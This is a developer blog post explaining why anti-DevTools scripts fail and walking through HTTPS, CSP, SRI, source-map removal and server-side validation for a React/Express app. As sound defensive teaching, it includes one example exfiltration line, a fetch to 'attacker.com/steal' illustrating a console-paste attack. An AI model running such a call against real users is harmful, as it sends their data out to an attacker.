It started, like a lot of rabbit holes do, with an observation: Gemini stops its JavaScript when you open DevTools. Open the inspector and the page freezes. I thought that was neat and wanted to do the same thing in my own app — just disable inspect and be done with it.
This post is the short version of where that took me: why "disable inspect" is the wrong goal, and what I ended up building instead — a small defence-in-depth stack on a React + Express app.
Chapter 1: The temptation — "just block DevTools"
I went looking for ways to detect/block DevTools. There's a well-known npm package called disable-devtool that bundles every known trick:
- Intercepting F12 / Ctrl+Shift+I / right-click
- A
debugger;statement on a loop that pauses execution when DevTools is open (this is what Gemini does) - Timing-based detection (DevTools slows down
toString()calls) -
console.clear()spam - Viewport-size diffs
Here's the catch I kept hitting: none of it actually stops a determined user. Every technique has a documented bypass:
| Technique | Bypass |
|---|---|
| Block F12 / right-click | Open DevTools from the browser menu (⋮ → More Tools) |
debugger; loop |
Disable all breakpoints (Ctrl+F8) — it becomes a no-op |
| Timing detection | Open DevTools undocked — viewport doesn't change |
| Any client-side check |
--auto-open-devtools-for-tabs flag, or a proxy like mitmproxy |
The brutal truth: DevTools is the user's tool, not the server's. You can't control it from a web page. Microsoft Edge once considered proposing an HTTP header to disable DevTools for banking sites and dropped it because it conflicts with browser architecture.
Christian Heilmann (ex-Edge team) called these scripts "impressive, but in the end just a nuisance."
So if blocking the tool is a dead end, what's the real goal?
Chapter 2: The mindset shift
This is the insight that rerouted the whole project:
The goal isn't to stop someone from opening DevTools. The goal is to make the app resilient regardless of whether DevTools is open.
Security experts are pretty unanimous on this (OWASP, NIST, Schneier):
- ❌ Anti-DevTools scripts as standalone security → rejected (security through obscurity)
- ✅ Obfuscation as a supplementary layer → acceptable
- ✅ CSP, SRI, server-side validation, rate limiting → required for real security
That reframing turned "how do I disable inspect?" into "how do I layer defences so that having DevTools open doesn't help an attacker?" — i.e. defence in depth.
Chapter 3: Defence in depth, checkpoint by checkpoint
I broke the work into ordered checkpoints. The order matters — each one depends on the one before it.
Checkpoint 0 — Enable HTTPS (the foundation)
Every security header is just text in an HTTP response. On plain HTTP, a man-in-the-middle (coffee-shop Wi-Fi, ISP, corporate proxy) can read, modify, or delete that text before the browser sees it. Your CSP, your nosniff, all of it — silently stripped.
Normal: Server ────────────────► Browser "CSP: default-src 'self'"
MITM: Server ──► Attacker ──► Browser (attacker strips CSP)
HTTPS makes tampering impossible by encrypting and authenticating the response. Without it, every later checkpoint is a polite suggestion.
For local dev I used mkcert (trusted self-signed certs). For production, a managed platform (Render/Railway/Fly.io) terminates TLS for you, or Let's Encrypt + certbot if you run your own server.
// server.js — HTTPS with mkcert certs in dev
import https from 'https';
import fs from 'fs';
const sslOptions = {
key: fs.readFileSync('certs/localhost+1-key.pem'),
cert: fs.readFileSync('certs/localhost+1.pem'),
};
https.createServer(sslOptions, app).listen(3000);
Checkpoint 1 — HTTP-level hardening (free, and the biggest bang-for-buck)
You can't disable DevTools from the server, but you can tell the browser what the page is allowed to do — before any JavaScript runs — via response headers.
// server.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; connect-src 'self'; " +
"frame-ancestors 'none'; base-uri 'none'; form-action 'self'"
);
res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');
next();
});
The star is Content-Security-Policy. The classic attack it stops: an attacker with remote access talks a victim into opening DevTools and pasting code into the Console. Without CSP, that code does fetch('https://attacker.com/steal?data=...') and exfiltrates everything. With connect-src 'self', that fetch is blocked at the browser level — the pasted code inherits the page's CSP.
CSP doesn't stop someone from reading the DOM in DevTools. It stops them from exfiltrating what they read.
The edge cases I had to keep in mind
This checkpoint is where I spent the most time, because a strict CSP quietly breaks things:
React is fine, raw HTML isn't. React's
onClick={handleClick}usesaddEventListenerunder the hood — no inline script string, soscript-src 'self'with nounsafe-inlinedoesn't break it. Raw<button onclick="...">would be blocked.Third-party libraries are the real risk. A strict CSP forbids
eval,new Function, inline<style>, and cross-originfetch/script/font. Many popular libs use these internally and silently stop working in production. The danger isn't that they break — it's the temptation to "fix" them by relaxing the policy:
script-src 'self' 'unsafe-eval' 'unsafe-inline' # ← the Layer 1 defence just collapsed
Adding 'unsafe-eval' reopens the exact primitives the Console-paste attack relies on. If a lib needs unsafe-eval or unsafe-inline, it's incompatible with this layer — replace it.
-
Vite dev vs prod CSP split. Vite's HMR/React Refresh uses
evaland inline scripts, so a strict prod CSP breaks HMR in dev. Fix: two different CSPs, gated behindNODE_ENV. I also only enable CORS in dev (Vite on :5173, Express on :3000 are cross-origin); in prod the backend serves the built bundle on one origin.
if (!isProduction) {
app.use(cors({ origin: 'http://localhost:5173' }));
}
-
Roll out safely. Start with
Content-Security-Policy-Report-Only(reports violations without blocking), fix every violation, then flip to enforcement. Keep Report-Only alongside it for new libraries.
Checkpoint 2 — Resource integrity (close the leaks CSP can't)
CSP controls who can run on your page. Checkpoint 2 closes two gaps CSP can't:
A) What if a CDN you trust is itself compromised? CSP allows it (it's allowlisted), but the bytes changed. Subresource Integrity (SRI) pins a cryptographic hash in the tag so the browser refuses to run a tampered script:
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7..."
crossorigin="anonymous"></script>
Without SRI: attacker compromises the CDN → serves malware → browser runs it ("it's on the allowlist!").
With SRI: hash(malicious) ≠ pinned hash → browser refuses to execute.
crossoriginis mandatory — SRI needs CORS to read the bytes for hashing. Forget it and verification silently fails.
B) What if your own bundle leaks readable source via .map files? A source map handed to anyone with DevTools open is a free map from your minified bundle back to the readable source. This leak is invisible — no Console entry, no Network entry for the silent sourceMappingURL fetch.
So: disable source maps in production, strip the sourceMappingURL comment, and make the server return 404 for any *.map request as defence in depth.
// vite.config.js
export default defineConfig(({ mode }) => ({
build: {
sourcemap: mode !== 'production', // no maps in prod
minify: 'terser',
terserOptions: { format: { comments: false } }, // strip sourceMappingURL
},
}));
// server.js — block stale .map files before static middleware serves them
app.use((req, res, next) => {
if (isProduction && req.path.toLowerCase().endsWith('.map')) {
return res.status(404).end();
}
next();
});
CSP and SRI are complementary: CSP controls origin trust, SRI controls byte-level integrity. CSP without SRI is vulnerable to CDN compromise; SRI without CSP is vulnerable to HTML injection (attacker just removes the integrity attribute). You need both.
Checkpoint 3 — Server-side validation (the core)
Checkpoints 0–2 make the page resilient to what someone does inside DevTools. Checkpoint 3 is the principle that makes DevTools genuinely irrelevant: never trust the client for a security decision.
If an attacker edits a form's values in the Console and submits, or modifies a price hidden in state — the server must reject it. Concretely:
- Every privileged action (transfers, settings changes, deletions) is validated server-side
- High-value actions require step-up auth (2FA / push notification)
- Any "security logic" that lived client-side (price calc, discount eligibility, access control) moves to the server
- Sensitive data (tokens, PII) lives in
HttpOnly; Securecookies — neverlocalStorage, which any Console snippet can read
This is the biggest checkpoint and the most important. CSP can't stop someone from visually faking "transfer succeeded" in the DOM — only server-side transaction confirmation can.
CSP stops exfiltration. Server-side validation stops forgery. You need both.
How I verified it
-
HTTPS:
curl -k https://localhost:3000works; no browser cert warnings (mkcert is trusted locally). -
CSP:
curl -Ishows all headers; afetch()to a third-party domain from the Console is blocked. -
Source maps: no
.mapfiles indist/; requesting any*.mapURL in prod returns404; no//# sourceMappingURL=comment in the bundle; the Sources panel shows only minified, mangled code. - Server-side validation: editing form values in the Console and submitting → server rejects.
Takeaway
"Disable inspect" is a dead end because DevTools belongs to the user, not your page — and every client-side blocker has a trivial bypass. The thing that actually protects you is the boring, server-side stuff: HTTPS, a strict CSP, SRI, no source maps in prod, and never trusting the client.
The irony of this project: I set out to write a clever anti-DevTools script and ended up writing an Express middleware that sets six HTTP headers and a Vite config that turns off source maps. The boring defence is the one that works.
If your threat model is "someone opens DevTools and pastes code into the Console," a strict CSP solves more of that than any debugger loop ever will. Start there.
Thanks for reading! If you've run into the "disable inspect" temptation — or built a defence-in-depth setup of your own — I'd love to hear about it in the comments.
Top comments (0)